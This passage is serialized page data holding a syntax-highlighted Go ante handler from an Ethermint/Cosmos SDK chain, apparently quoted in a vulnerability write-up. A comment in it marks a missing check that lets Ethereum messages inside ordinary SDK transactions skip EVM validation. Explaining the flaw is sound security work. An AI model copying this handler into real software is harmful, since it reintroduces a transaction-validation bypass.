sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n \"transaction is not an SDK tx\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n}\n",[83321],{"type":22,"tag":30,"props":83322,"children":83323},{"__ignoreMap":7},[83324,83340,83365,83389,83406,83431,83457,83482,83505,83521,83577,83618,83644,83651,83697,83704,83750,83766,83796,83831,83883,83900,83908,83915,83944,83960,83968,83994,84002,84009,84021,84055,84101,84113,84120,84127,84134,84173,84180,84187,84194,84202,84209,84233,84257,84285,84310,84318,84351,84358,84370,84401,84456,84469,84477,84485,84493,84533,84541],{"type":22,"tag":101,"props":83325,"children":83326},{"class":103,"line":104},[83327,83331,83336],{"type":22,"tag":101,"props":83328,"children":83329},{"style":108},[83330],{"type":27,"value":79807},{"type":22,"tag":101,"props":83332,"children":83333},{"style":926},[83334],{"type":27,"value":83335}," NewAnteHandler",{"type":22,"tag":101,"props":83337,"children":83338},{"style":120},[83339],{"type":27,"value":1850},{"type":22,"tag":101,"props":83341,"children":83342},{"class":103,"line":157},[83343,83348,83353,83357,83361],{"type":22,"tag":101,"props":83344,"children":83345},{"style":126},[83346],{"type":27,"value":83347}," ak",{"type":22,"tag":101,"props":83349,"children":83350},{"style":114},[83351],{"type":27,"value":83352}," evmtypes",{"type":22,"tag":101,"props":83354,"children":83355},{"style":120},[83356],{"type":27,"value":231},{"type":22,"tag":101,"props":83358,"children":83359},{"style":114},[83360],{"type":27,"value":82888},{"type":22,"tag":101,"props":83362,"children":83363},{"style":120},[83364],{"type":27,"value":179},{"type":22,"tag":101,"props":83366,"children":83367},{"class":103,"line":182},[83368,83373,83377,83381,83385],{"type":22,"tag":101,"props":83369,"children":83370},{"style":126},[83371],{"type":27,"value":83372}," bankKeeper",{"type":22,"tag":101,"props":83374,"children":83375},{"style":114},[83376],{"type":27,"value":83352},{"type":22,"tag":101,"props":83378,"children":83379},{"style":120},[83380],{"type":27,"value":231},{"type":22,"tag":101,"props":83382,"children":83383},{"style":114},[83384],{"type":27,"value":82961},{"type":22,"tag":101,"props":83386,"children":83387},{"style":120},[83388],{"type":27,"value":179},{"type":22,"tag":101,"props":83390,"children":83391},{"class":103,"line":367},[83392,83397,83402],{"type":22,"tag":101,"props":83393,"children":83394},{"style":126},[83395],{"type":27,"value":83396}," evmKeeper",{"type":22,"tag":101,"props":83398,"children":83399},{"style":114},[83400],{"type":27,"value":83401}," EVMKeeper",{"type":22,"tag":101,"props":83403,"children":83404},{"style":120},[83405],{"type":27,"value":179},{"type":22,"tag":101,"props":83407,"children":83408},{"class":103,"line":398},[83409,83414,83419,83423,83427],{"type":22,"tag":101,"props":83410,"children":83411},{"style":126},[83412],{"type":27,"value":83413}," feeGrantKeeper",{"type":22,"tag":101,"props":83415,"children":83416},{"style":114},[83417],{"type":27,"value":83418}," authante",{"type":22,"tag":101,"props":83420,"children":83421},{"style":120},[83422],{"type":27,"value":231},{"type":22,"tag":101,"props":83424,"children":83425},{"style":114},[83426],{"type":27,"value":82978},{"type":22,"tag":101,"props":83428,"children":83429},{"style":120},[83430],{"type":27,"value":179},{"type":22,"tag":101,"props":83432,"children":83433},{"class":103,"line":428},[83434,83439,83444,83448,83453],{"type":22,"tag":101,"props":83435,"children":83436},{"style":126},[83437],{"type":27,"value":83438}," channelKeeper",{"type":22,"tag":101,"props":83440,"children":83441},{"style":114},[83442],{"type":27,"value":83443}," channelkeeper",{"type":22,"tag":101,"props":83445,"children":83446},{"style":120},[83447],{"type":27,"value":231},{"type":22,"tag":101,"props":83449,"children":83450},{"style":114},[83451],{"type":27,"value":83452},"Keeper",{"type":22,"tag":101,"props":83454,"children":83455},{"style":120},[83456],{"type":27,"value":179},{"type":22,"tag":101,"props":83458,"children":83459},{"class":103,"line":997},[83460,83465,83470,83474,83478],{"type":22,"tag":101,"props":83461,"children":83462},{"style":126},[83463],{"type":27,"value":83464}," signModeHandler",{"type":22,"tag":101,"props":83466,"children":83467},{"style":114},[83468],{"type":27,"value":83469}," authsigning",{"type":22,"tag":101,"props":83471,"children":83472},{"style":120},[83473],{"type":27,"value":231},{"type":22,"tag":101,"props":83475,"children":83476},{"style":114},[83477],{"type":27,"value":83146},{"type":22,"tag":101,"props":83479,"children":83480},{"style":120},[83481],{"type":27,"value":179},{"type":22,"tag":101,"props":83483,"children":83484},{"class":103,"line":1032},[83485,83489,83493,83497,83501],{"type":22,"tag":101,"props":83486,"children":83487},{"style":120},[83488],{"type":27,"value":901},{"type":22,"tag":101,"props":83490,"children":83491},{"style":114},[83492],{"type":27,"value":82237},{"type":22,"tag":101,"props":83494,"children":83495},{"style":120},[83496],{"type":27,"value":231},{"type":22,"tag":101,"props":83498,"children":83499},{"style":114},[83500],{"type":27,"value":81977},{"type":22,"tag":101,"props":83502,"children":83503},{"style":120},[83504],{"type":27,"value":154},{"type":22,"tag":101,"props":83506,"children":83507},{"class":103,"line":1063},[83508,83512,83517],{"type":22,"tag":101,"props":83509,"children":83510},{"style":3595},[83511],{"type":27,"value":20986},{"type":22,"tag":101,"props":83513,"children":83514},{"style":108},[83515],{"type":27,"value":83516}," func",{"type":22,"tag":101,"props":83518,"children":83519},{"style":120},[83520],{"type":27,"value":1850},{"type":22,"tag":101,"props":83522,"children":83523},{"class":103,"line":1071},[83524,83528,83532,83536,83540,83544,83548,83552,83556,83560,83564,83569,83573],{"type":22,"tag":101,"props":83525,"children":83526},{"style":126},[83527],{"type":27,"value":30184},{"type":22,"tag":101,"props":83529,"children":83530},{"style":114},[83531],{"type":27,"value":82148},{"type":22,"tag":101,"props":83533,"children":83534},{"style":120},[83535],{"type":27,"value":231},{"type":22,"tag":101,"props":83537,"children":83538},{"style":114},[83539],{"type":27,"value":79856},{"type":22,"tag":101,"props":83541,"children":83542},{"style":120},[83543],{"type":27,"value":758},{"type":22,"tag":101,"props":83545,"children":83546},{"style":126},[83547],{"type":27,"value":82688},{"type":22,"tag":101,"props":83549,"children":83550},{"style":114},[83551],{"type":27,"value":82148},{"type":22,"tag":101,"props":83553,"children":83554},{"style":120},[83555],{"type":27,"value":231},{"type":22,"tag":101,"props":83557,"children":83558},{"style":114},[83559],{"type":27,"value":82181},{"type":22,"tag":101,"props":83561,"children":83562},{"style":120},[83563],{"type":27,"value":758},{"type":22,"tag":101,"props":83565,"children":83566},{"style":126},[83567],{"type":27,"value":83568},"sim",{"type":22,"tag":101,"props":83570,"children":83571},{"style":114},[83572],{"type":27,"value":360},{"type":22,"tag":101,"props":83574,"children":83575},{"style":120},[83576],{"type":27,"value":179},{"type":22,"tag":101,"props":83578,"children":83579},{"class":103,"line":1110},[83580,83585,83590,83594,83598,83602,83606,83610,83614],{"type":22,"tag":101,"props":83581,"children":83582},{"style":120},[83583],{"type":27,"value":83584}," ) (",{"type":22,"tag":101,"props":83586,"children":83587},{"style":126},[83588],{"type":27,"value":83589},"newCtx",{"type":22,"tag":101,"props":83591,"children":83592},{"style":114},[83593],{"type":27,"value":82148},{"type":22,"tag":101,"props":83595,"children":83596},{"style":120},[83597],{"type":27,"value":231},{"type":22,"tag":101,"props":83599,"children":83600},{"style":114},[83601],{"type":27,"value":79856},{"type":22,"tag":101,"props":83603,"children":83604},{"style":120},[83605],{"type":27,"value":758},{"type":22,"tag":101,"props":83607,"children":83608},{"style":126},[83609],{"type":27,"value":52417},{"type":22,"tag":101,"props":83611,"children":83612},{"style":114},[83613],{"type":27,"value":18878},{"type":22,"tag":101,"props":83615,"children":83616},{"style":120},[83617],{"type":27,"value":1463},{"type":22,"tag":101,"props":83619,"children":83620},{"class":103,"line":1118},[83621,83626,83631,83635,83639],{"type":22,"tag":101,"props":83622,"children":83623},{"style":108},[83624],{"type":27,"value":83625}," var",{"type":22,"tag":101,"props":83627,"children":83628},{"style":126},[83629],{"type":27,"value":83630}," anteHandler",{"type":22,"tag":101,"props":83632,"children":83633},{"style":114},[83634],{"type":27,"value":82148},{"type":22,"tag":101,"props":83636,"children":83637},{"style":120},[83638],{"type":27,"value":231},{"type":22,"tag":101,"props":83640,"children":83641},{"style":114},[83642],{"type":27,"value":83643},"AnteHandler\n",{"type":22,"tag":101,"props":83645,"children":83646},{"class":103,"line":1158},[83647],{"type":22,"tag":101,"props":83648,"children":83649},{"emptyLinePlaceholder":15},[83650],{"type":27,"value":1581},{"type":22,"tag":101,"props":83652,"children":83653},{"class":103,"line":1166},[83654,83659,83664,83668,83672,83676,83681,83685,83689,83693],{"type":22,"tag":101,"props":83655,"children":83656},{"style":3595},[83657],{"type":27,"value":83658}," defer",{"type":22,"tag":101,"props":83660,"children":83661},{"style":926},[83662],{"type":27,"value":83663}," Recover",{"type":22,"tag":101,"props":83665,"children":83666},{"style":120},[83667],{"type":27,"value":980},{"type":22,"tag":101,"props":83669,"children":83670},{"style":126},[83671],{"type":27,"value":24271},{"type":22,"tag":101,"props":83673,"children":83674},{"style":120},[83675],{"type":27,"value":231},{"type":22,"tag":101,"props":83677,"children":83678},{"style":926},[83679],{"type":27,"value":83680},"Logger",{"type":22,"tag":101,"props":83682,"children":83683},{"style":120},[83684],{"type":27,"value":1147},{"type":22,"tag":101,"props":83686,"children":83687},{"style":166},[83688],{"type":27,"value":985},{"type":22,"tag":101,"props":83690,"children":83691},{"style":126},[83692],{"type":27,"value":52417},{"type":22,"tag":101,"props":83694,"children":83695},{"style":120},[83696],{"type":27,"value":2510},{"type":22,"tag":101,"props":83698,"children":83699},{"class":103,"line":1215},[83700],{"type":22,"tag":101,"props":83701,"children":83702},{"emptyLinePlaceholder":15},[83703],{"type":27,"value":1581},{"type":22,"tag":101,"props":83705,"children":83706},{"class":103,"line":2425},[83707,83712,83716,83720,83724,83728,83732,83737,83741,83746],{"type":22,"tag":101,"props":83708,"children":83709},{"style":126},[83710],{"type":27,"value":83711}," txWithExtensions",{"type":22,"tag":101,"props":83713,"children":83714},{"style":120},[83715],{"type":27,"value":758},{"type":22,"tag":101,"props":83717,"children":83718},{"style":126},[83719],{"type":27,"value":82274},{"type":22,"tag":101,"props":83721,"children":83722},{"style":166},[83723],{"type":27,"value":79923},{"type":22,"tag":101,"props":83725,"children":83726},{"style":126},[83727],{"type":27,"value":71532},{"type":22,"tag":101,"props":83729,"children":83730},{"style":120},[83731],{"type":27,"value":82287},{"type":22,"tag":101,"props":83733,"children":83734},{"style":114},[83735],{"type":27,"value":83736},"authante",{"type":22,"tag":101,"props":83738,"children":83739},{"style":120},[83740],{"type":27,"value":231},{"type":22,"tag":101,"props":83742,"children":83743},{"style":114},[83744],{"type":27,"value":83745},"HasExtensionOptionsTx",{"type":22,"tag":101,"props":83747,"children":83748},{"style":120},[83749],{"type":27,"value":2510},{"type":22,"tag":101,"props":83751,"children":83752},{"class":103,"line":5417},[83753,83757,83762],{"type":22,"tag":101,"props":83754,"children":83755},{"style":3595},[83756],{"type":27,"value":7312},{"type":22,"tag":101,"props":83758,"children":83759},{"style":126},[83760],{"type":27,"value":83761}," ok",{"type":22,"tag":101,"props":83763,"children":83764},{"style":120},[83765],{"type":27,"value":154},{"type":22,"tag":101,"props":83767,"children":83768},{"class":103,"line":7714},[83769,83774,83778,83783,83787,83792],{"type":22,"tag":101,"props":83770,"children":83771},{"style":126},[83772],{"type":27,"value":83773}," opts",{"type":22,"tag":101,"props":83775,"children":83776},{"style":166},[83777],{"type":27,"value":79923},{"type":22,"tag":101,"props":83779,"children":83780},{"style":126},[83781],{"type":27,"value":83782}," txWithExtensions",{"type":22,"tag":101,"props":83784,"children":83785},{"style":120},[83786],{"type":27,"value":231},{"type":22,"tag":101,"props":83788,"children":83789},{"style":926},[83790],{"type":27,"value":83791},"GetExtensionOptions",{"type":22,"tag":101,"props":83793,"children":83794},{"style":120},[83795],{"type":27,"value":11746},{"type":22,"tag":101,"props":83797,"children":83798},{"class":103,"line":7723},[83799,83803,83807,83811,83815,83819,83823,83827],{"type":22,"tag":101,"props":83800,"children":83801},{"style":3595},[83802],{"type":27,"value":62798},{"type":22,"tag":101,"props":83804,"children":83805},{"style":926},[83806],{"type":27,"value":12565},{"type":22,"tag":101,"props":83808,"children":83809},{"style":120},[83810],{"type":27,"value":980},{"type":22,"tag":101,"props":83812,"children":83813},{"style":126},[83814],{"type":27,"value":52559},{"type":22,"tag":101,"props":83816,"children":83817},{"style":120},[83818],{"type":27,"value":901},{"type":22,"tag":101,"props":83820,"children":83821},{"style":166},[83822],{"type":27,"value":14467},{"type":22,"tag":101,"props":83824,"children":83825},{"style":1544},[83826],{"type":27,"value":1547},{"type":22,"tag":101,"props":83828,"children":83829},{"style":120},[83830],{"type":27,"value":154},{"type":22,"tag":101,"props":83832,"children":83833},{"class":103,"line":7791},[83834,83839,83844,83848,83853,83857,83861,83865,83870,83874,83879],{"type":22,"tag":101,"props":83835,"children":83836},{"style":3595},[83837],{"type":27,"value":83838}," switch",{"type":22,"tag":101,"props":83840,"children":83841},{"style":126},[83842],{"type":27,"value":83843}," typeURL",{"type":22,"tag":101,"props":83845,"children":83846},{"style":166},[83847],{"type":27,"value":79923},{"type":22,"tag":101,"props":83849,"children":83850},{"style":126},[83851],{"type":27,"value":83852}," opts",{"type":22,"tag":101,"props":83854,"children":83855},{"style":120},[83856],{"type":27,"value":2414},{"type":22,"tag":101,"props":83858,"children":83859},{"style":1544},[83860],{"type":27,"value":8065},{"type":22,"tag":101,"props":83862,"children":83863},{"style":120},[83864],{"type":27,"value":54344},{"type":22,"tag":101,"props":83866,"children":83867},{"style":926},[83868],{"type":27,"value":83869},"GetTypeUrl",{"type":22,"tag":101,"props":83871,"children":83872},{"style":120},[83873],{"type":27,"value":32447},{"type":22,"tag":101,"props":83875,"children":83876},{"style":126},[83877],{"type":27,"value":83878},"typeURL",{"type":22,"tag":101,"props":83880,"children":83881},{"style":120},[83882],{"type":27,"value":154},{"type":22,"tag":101,"props":83884,"children":83885},{"class":103,"line":7799},[83886,83891,83896],{"type":22,"tag":101,"props":83887,"children":83888},{"style":3595},[83889],{"type":27,"value":83890}," case",{"type":22,"tag":101,"props":83892,"children":83893},{"style":6476},[83894],{"type":27,"value":83895}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":22,"tag":101,"props":83897,"children":83898},{"style":120},[83899],{"type":27,"value":9611},{"type":22,"tag":101,"props":83901,"children":83902},{"class":103,"line":7829},[83903],{"type":22,"tag":101,"props":83904,"children":83905},{"style":2215},[83906],{"type":27,"value":83907}," // handle as *evmtypes.MsgEthereumTx\n",{"type":22,"tag":101,"props":83909,"children":83910},{"class":103,"line":7837},[83911],{"type":22,"tag":101,"props":83912,"children":83913},{"emptyLinePlaceholder":15},[83914],{"type":27,"value":1581},{"type":22,"tag":101,"props":83916,"children":83917},{"class":103,"line":7868},[83918,83923,83927,83931,83935,83940],{"type":22,"tag":101,"props":83919,"children":83920},{"style":126},[83921],{"type":27,"value":83922}," anteHandler",{"type":22,"tag":101,"props":83924,"children":83925},{"style":166},[83926],{"type":27,"value":960},{"type":22,"tag":101,"props":83928,"children":83929},{"style":126},[83930],{"type":27,"value":82148},{"type":22,"tag":101,"props":83932,"children":83933},{"style":120},[83934],{"type":27,"value":231},{"type":22,"tag":101,"props":83936,"children":83937},{"style":926},[83938],{"type":27,"value":83939},"ChainAnteDecorators",{"type":22,"tag":101,"props":83941,"children":83942},{"style":120},[83943],{"type":27,"value":1850},{"type":22,"tag":101,"props":83945,"children":83946},{"class":103,"line":7876},[83947,83952,83956],{"type":22,"tag":101,"props":83948,"children":83949},{"style":926},[83950],{"type":27,"value":83951}," NewEthSetUpContextDecorator",{"type":22,"tag":101,"props":83953,"children":83954},{"style":120},[83955],{"type":27,"value":1147},{"type":22,"tag":101,"props":83957,"children":83958},{"style":2215},[83959],{"type":27,"value":82802},{"type":22,"tag":101,"props":83961,"children":83962},{"class":103,"line":7936},[83963],{"type":22,"tag":101,"props":83964,"children":83965},{"style":166},[83966],{"type":27,"value":83967}," ...\n",{"type":22,"tag":101,"props":83969,"children":83970},{"class":103,"line":13054},[83971,83976,83980,83985,83989],{"type":22,"tag":101,"props":83972,"children":83973},{"style":926},[83974],{"type":27,"value":83975}," NewEthIncrementSenderSequenceDecorator",{"type":22,"tag":101,"props":83977,"children":83978},{"style":120},[83979],{"type":27,"value":980},{"type":22,"tag":101,"props":83981,"children":83982},{"style":126},[83983],{"type":27,"value":83984},"ak",{"type":22,"tag":101,"props":83986,"children":83987},{"style":120},[83988],{"type":27,"value":1099},{"type":22,"tag":101,"props":83990,"children":83991},{"style":2215},[83992],{"type":27,"value":83993},"// innermost AnteDecorator.\n",{"type":22,"tag":101,"props":83995,"children":83996},{"class":103,"line":13072},[83997],{"type":22,"tag":101,"props":83998,"children":83999},{"style":120},[84000],{"type":27,"value":84001}," )\n",{"type":22,"tag":101,"props":84003,"children":84004},{"class":103,"line":13117},[84005],{"type":22,"tag":101,"props":84006,"children":84007},{"emptyLinePlaceholder":15},[84008],{"type":27,"value":1581},{"type":22,"tag":101,"props":84010,"children":84011},{"class":103,"line":13223},[84012,84017],{"type":22,"tag":101,"props":84013,"children":84014},{"style":3595},[84015],{"type":27,"value":84016}," default",{"type":22,"tag":101,"props":84018,"children":84019},{"style":120},[84020],{"type":27,"value":9611},{"type":22,"tag":101,"props":84022,"children":84023},{"class":103,"line":27496},[84024,84029,84033,84037,84042,84046,84051],{"type":22,"tag":101,"props":84025,"children":84026},{"style":3595},[84027],{"type":27,"value":84028}," return",{"type":22,"tag":101,"props":84030,"children":84031},{"style":126},[84032],{"type":27,"value":29841},{"type":22,"tag":101,"props":84034,"children":84035},{"style":120},[84036],{"type":27,"value":758},{"type":22,"tag":101,"props":84038,"children":84039},{"style":126},[84040],{"type":27,"value":84041},"stacktrace",{"type":22,"tag":101,"props":84043,"children":84044},{"style":120},[84045],{"type":27,"value":231},{"type":22,"tag":101,"props":84047,"children":84048},{"style":926},[84049],{"type":27,"value":84050},"Propagate",{"type":22,"tag":101,"props":84052,"children":84053},{"style":120},[84054],{"type":27,"value":1850},{"type":22,"tag":101,"props":84056,"children":84057},{"class":103,"line":27531},[84058,84063,84067,84071,84075,84080,84084,84089,84093,84097],{"type":22,"tag":101,"props":84059,"children":84060},{"style":126},[84061],{"type":27,"value":84062}," sdkerrors",{"type":22,"tag":101,"props":84064,"children":84065},{"style":120},[84066],{"type":27,"value":231},{"type":22,"tag":101,"props":84068,"children":84069},{"style":926},[84070],{"type":27,"value":82353},{"type":22,"tag":101,"props":84072,"children":84073},{"style":120},[84074],{"type":27,"value":980},{"type":22,"tag":101,"props":84076,"children":84077},{"style":126},[84078],{"type":27,"value":84079},"sdkerrors",{"type":22,"tag":101,"props":84081,"children":84082},{"style":120},[84083],{"type":27,"value":231},{"type":22,"tag":101,"props":84085,"children":84086},{"style":126},[84087],{"type":27,"value":84088},"ErrUnknownExtensionOptions",{"type":22,"tag":101,"props":84090,"children":84091},{"style":120},[84092],{"type":27,"value":758},{"type":22,"tag":101,"props":84094,"children":84095},{"style":126},[84096],{"type":27,"value":83878},{"type":22,"tag":101,"props":84098,"children":84099},{"style":120},[84100],{"type":27,"value":1706},{"type":22,"tag":101,"props":84102,"children":84103},{"class":103,"line":27539},[84104,84109],{"type":22,"tag":101,"props":84105,"children":84106},{"style":6476},[84107],{"type":27,"value":84108}," \"rejecting tx with unsupported extension option\"",{"type":22,"tag":101,"props":84110,"children":84111},{"style":120},[84112],{"type":27,"value":179},{"type":22,"tag":101,"props":84114,"children":84115},{"class":103,"line":27547},[84116],{"type":22,"tag":101,"props":84117,"children":84118},{"style":120},[84119],{"type":27,"value":84001},{"type":22,"tag":101,"props":84121,"children":84122},{"class":103,"line":27556},[84123],{"type":22,"tag":101,"props":84124,"children":84125},{"style":120},[84126],{"type":27,"value":74576},{"type":22,"tag":101,"props":84128,"children":84129},{"class":103,"line":27598},[84130],{"type":22,"tag":101,"props":84131,"children":84132},{"emptyLinePlaceholder":15},[84133],{"type":27,"value":1581},{"type":22,"tag":101,"props":84135,"children":84136},{"class":103,"line":27631},[84137,84141,84145,84149,84153,84157,84161,84165,84169],{"type":22,"tag":101,"props":84138,"children":84139},{"style":3595},[84140],{"type":27,"value":64726},{"type":22,"tag":101,"props":84142,"children":84143},{"style":926},[84144],{"type":27,"value":83630},{"type":22,"tag":101,"props":84146,"children":84147},{"style":120},[84148],{"type":27,"value":980},{"type":22,"tag":101,"props":84150,"children":84151},{"style":126},[84152],{"type":27,"value":24271},{"type":22,"tag":101,"props":84154,"children":84155},{"style":120},[84156],{"type":27,"value":758},{"type":22,"tag":101,"props":84158,"children":84159},{"style":126},[84160],{"type":27,"value":82688},{"type":22,"tag":101,"props":84162,"children":84163},{"style":120},[84164],{"type":27,"value":758},{"type":22,"tag":101,"props":84166,"children":84167},{"style":126},[84168],{"type":27,"value":83568},{"type":22,"tag":101,"props":84170,"children":84171},{"style":120},[84172],{"type":27,"value":2510},{"type":22,"tag":101,"props":84174,"children":84175},{"class":103,"line":27639},[84176],{"type":22,"tag":101,"props":84177,"children":84178},{"style":120},[84179],{"type":27,"value":62882},{"type":22,"tag":101,"props":84181,"children":84182},{"class":103,"line":27647},[84183],{"type":22,"tag":101,"props":84184,"children":84185},{"style":120},[84186],{"type":27,"value":2398},{"type":22,"tag":101,"props":84188,"children":84189},{"class":103,"line":27656},[84190],{"type":22,"tag":101,"props":84191,"children":84192},{"emptyLinePlaceholder":15},[84193],{"type":27,"value":1581},{"type":22,"tag":101,"props":84195,"children":84196},{"class":103,"line":27732},[84197],{"type":22,"tag":101,"props":84198,"children":84199},{"style":2215},[84200],{"type":27,"value":84201}," // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":22,"tag":101,"props":84203,"children":84204},{"class":103,"line":27765},[84205],{"type":22,"tag":101,"props":84206,"children":84207},{"emptyLinePlaceholder":15},[84208],{"type":27,"value":1581},{"type":22,"tag":101,"props":84210,"children":84211},{"class":103,"line":27773},[84212,84217,84221,84225,84229],{"type":22,"tag":101,"props":84213,"children":84214},{"style":3595},[84215],{"type":27,"value":84216}," switch",{"type":22,"tag":101,"props":84218,"children":84219},{"style":126},[84220],{"type":27,"value":71532},{"type":22,"tag":101,"props":84222,"children":84223},{"style":120},[84224],{"type":27,"value":82287},{"type":22,"tag":101,"props":84226,"children":84227},{"style":108},[84228],{"type":27,"value":36752},{"type":22,"tag":101,"props":84230,"children":84231},{"style":120},[84232],{"type":27,"value":1463},{"type":22,"tag":101,"props":84234,"children":84235},{"class":103,"line":27781},[84236,84241,84245,84249,84253],{"type":22,"tag":101,"props":84237,"children":84238},{"style":3595},[84239],{"type":27,"value":84240}," case",{"type":22,"tag":101,"props":84242,"children":84243},{"style":114},[84244],{"type":27,"value":82148},{"type":22,"tag":101,"props":84246,"children":84247},{"style":120},[84248],{"type":27,"value":231},{"type":22,"tag":101,"props":84250,"children":84251},{"style":114},[84252],{"type":27,"value":82181},{"type":22,"tag":101,"props":84254,"children":84255},{"style":120},[84256],{"type":27,"value":9611},{"type":22,"tag":101,"props":84258,"children":84259},{"class":103,"line":27818},[84260,84265,84269,84273,84277,84281],{"type":22,"tag":101,"props":84261,"children":84262},{"style":126},[84263],{"type":27,"value":84264}," anteHandler",{"type":22,"tag":101,"props":84266,"children":84267},{"style":166},[84268],{"type":27,"value":960},{"type":22,"tag":101,"props":84270,"children":84271},{"style":126},[84272],{"type":27,"value":82148},{"type":22,"tag":101,"props":84274,"children":84275},{"style":120},[84276],{"type":27,"value":231},{"type":22,"tag":101,"props":84278,"children":84279},{"style":926},[84280],{"type":27,"value":83939},{"type":22,"tag":101,"props":84282,"children":84283},{"style":120},[84284],{"type":27,"value":1850},{"type":22,"tag":101,"props":84286,"children":84287},{"class":103,"line":27831},[84288,84293,84297,84302,84306],{"type":22,"tag":101,"props":84289,"children":84290},{"style":126},[84291],{"type":27,"value":84292}," authante",{"type":22,"tag":101,"props":84294,"children":84295},{"style":120},[84296],{"type":27,"value":231},{"type":22,"tag":101,"props":84298,"children":84299},{"style":926},[84300],{"type":27,"value":84301},"NewSetUpContextDecorator",{"type":22,"tag":101,"props":84303,"children":84304},{"style":120},[84305],{"type":27,"value":1147},{"type":22,"tag":101,"props":84307,"children":84308},{"style":2215},[84309],{"type":27,"value":82802},{"type":22,"tag":101,"props":84311,"children":84312},{"class":103,"line":27844},[84313],{"type":22,"tag":101,"props":84314,"children":84315},{"style":166},[84316],{"type":27,"value":84317}," ...\n",{"type":22,"tag":101,"props":84319,"children":84320},{"class":103,"line":27857},[84321,84325,84329,84334,84338,84342,84346],{"type":22,"tag":101,"props":84322,"children":84323},{"style":126},[84324],{"type":27,"value":84292},{"type":22,"tag":101,"props":84326,"children":84327},{"style":120},[84328],{"type":27,"value":231},{"type":22,"tag":101,"props":84330,"children":84331},{"style":926},[84332],{"type":27,"value":84333},"NewIncrementSequenceDecorator",{"type":22,"tag":101,"props":84335,"children":84336},{"style":120},[84337],{"type":27,"value":980},{"type":22,"tag":101,"props":84339,"children":84340},{"style":126},[84341],{"type":27,"value":83984},{"type":22,"tag":101,"props":84343,"children":84344},{"style":120},[84345],{"type":27,"value":1099},{"type":22,"tag":101,"props":84347,"children":84348},{"style":2215},[84349],{"type":27,"value":84350},"// innermost AnteDecorator\n",{"type":22,"tag":101,"props":84352,"children":84353},{"class":103,"line":27911},[84354],{"type":22,"tag":101,"props":84355,"children":84356},{"style":120},[84357],{"type":27,"value":81022},{"type":22,"tag":101,"props":84359,"children":84360},{"class":103,"line":27920},[84361,84366],{"type":22,"tag":101,"props":84362,"children":84363},{"style":3595},[84364],{"type":27,"value":84365}," default",{"type":22,"tag":101,"props":84367,"children":84368},{"style":120},[84369],{"type":27,"value":9611},{"type":22,"tag":101,"props":84371,"children":84372},{"class":103,"line":36277},[84373,84377,84381,84385,84389,84393,84397],{"type":22,"tag":101,"props":84374,"children":84375},{"style":3595},[84376],{"type":27,"value":82583},{"type":22,"tag":101,"props":84378,"children":84379},{"style":126},[84380],{"type":27,"value":29841},{"type":22,"tag":101,"props":84382,"children":84383},{"style":120},[84384],{"type":27,"value":758},{"type":22,"tag":101,"props":84386,"children":84387},{"style":126},[84388],{"type":27,"value":84041},{"type":22,"tag":101,"props":84390,"children":84391},{"style":120},[84392],{"type":27,"value":231},{"type":22,"tag":101,"props":84394,"children":84395},{"style":926},[84396],{"type":27,"value":84050},{"type":22,"tag":101,"props":84398,"children":84399},{"style":120},[84400],{"type":27,"value":1850},{"type":22,"tag":101,"props":84402,"children":84403},{"class":103,"line":36298},[84404,84409,84413,84418,84422,84426,84430,84435,84439,84444,84448,84452],{"type":22,"tag":101,"props":84405,"children":84406},{"style":126},[84407],{"type":27,"value":84408}," sdkerrors",{"type":22,"tag":101,"props":84410,"children":84411},{"style":120},[84412],{"type":27,"value":231},{"type":22,"tag":101,"props":84414,"children":84415},{"style":926},[84416],{"type":27,"value":84417},"Wrapf",{"type":22,"tag":101,"props":84419,"children":84420},{"style":120},[84421],{"type":27,"value":980},{"type":22,"tag":101,"props":84423,"children":84424},{"style":126},[84425],{"type":27,"value":84079},{"type":22,"tag":101,"props":84427,"children":84428},{"style":120},[84429],{"type":27,"value":231},{"type":22,"tag":101,"props":84431,"children":84432},{"style":126},[84433],{"type":27,"value":84434},"ErrUnknownRequest",{"type":22,"tag":101,"props":84436,"children":84437},{"style":120},[84438],{"type":27,"value":758},{"type":22,"tag":101,"props":84440,"children":84441},{"style":6476},[84442],{"type":27,"value":84443},"\"invalid transaction type: %T\"",{"type":22,"tag":101,"props":84445,"children":84446},{"style":120},[84447],{"type":27,"value":758},{"type":22,"tag":101,"props":84449,"children":84450},{"style":126},[84451],{"type":27,"value":82688},{"type":22,"tag":101,"props":84453,"children":84454},{"style":120},[84455],{"type":27,"value":1706},{"type":22,"tag":101,"props":84457,"children":84459},{"class":103,"line":84458},53,[84460,84465],{"type":22,"tag":101,"props":84461,"children":84462},{"style":6476},[84463],{"type":27,"value":84464}," \"transaction is not an SDK tx\"",{"type":22,"tag":101,"props":84466,"children":84467},{"style":120},[84468],{"type":27,"value":179},{"type":22,"tag":101,"props":84470,"children":84472},{"class":103,"line":84471},54,[84473],{"type":22,"tag":101,"props":84474,"children":84475},{"style":120},[84476],{"type":27,"value":81022},{"type":22,"tag":101,"props":84478,"children":84480},{"class":103,"line":84479},55,[84481],{"type":22,"tag":101,"props":84482,"children":84483},{"style":120},[84484],{"type":27,"value":2398},{"type":22,"tag":101,"props":84486,"children":84488},{"class":103,"line":84487},56,[84489],{"type":22,"tag":101,"props":84490,"children":84491},{"emptyLinePlaceholder":15},[84492],{"type":27,"value":1581},{"type":22,"tag":101,"props":84494,"children":84496},{"class":103,"line":84495},57,[84497,84501,84505,84509,84513,84517,84521,84525,84529],{"type":22,"tag":101,"props":84498,"children":84499},{"style":3595},[84500],{"type":27,"value":19742},{"type":22,"tag":101,"props":84502,"children":84503},{"style":926},[84504],{"type":27,"value":83630},{"type":22,"tag":101,"props":84506,"children":84507},{"style":120},[84508],{"type":27,"value":980},{"type":22,"tag":101,"props":84510,"children":84511},{"style":126},[84512],{"type":27,"value":24271},{"type":22,"tag":101,"props":84514,"children":84515},{"style":120},[84516],{"type":27,"value":758},{"type":22,"tag":101,"props":84518,"children":84519},{"style":126},[84520],{"type":27,"value":82688},{"type":22,"tag":101,"props":84522,"children":84523},{"style":120},[84524],{"type":27,"value":758},{"type":22,"tag":101,"props":84526,"children":84527},{"style":126},[84528],{"type":27,"value":83568},{"type":22,"tag":101,"props":84530,"children":84531},{"style":120},[84532],{"type":27,"value":2510},{"type":22,"tag":101,"props":84534,"children":84536},{"class":103,"line":84535},58,[84537],{"type":22,"tag":101,"props":84538,"children":84539},{"style":120},[84540],{"type":27,"value":1734},{"type":22,"tag":101,"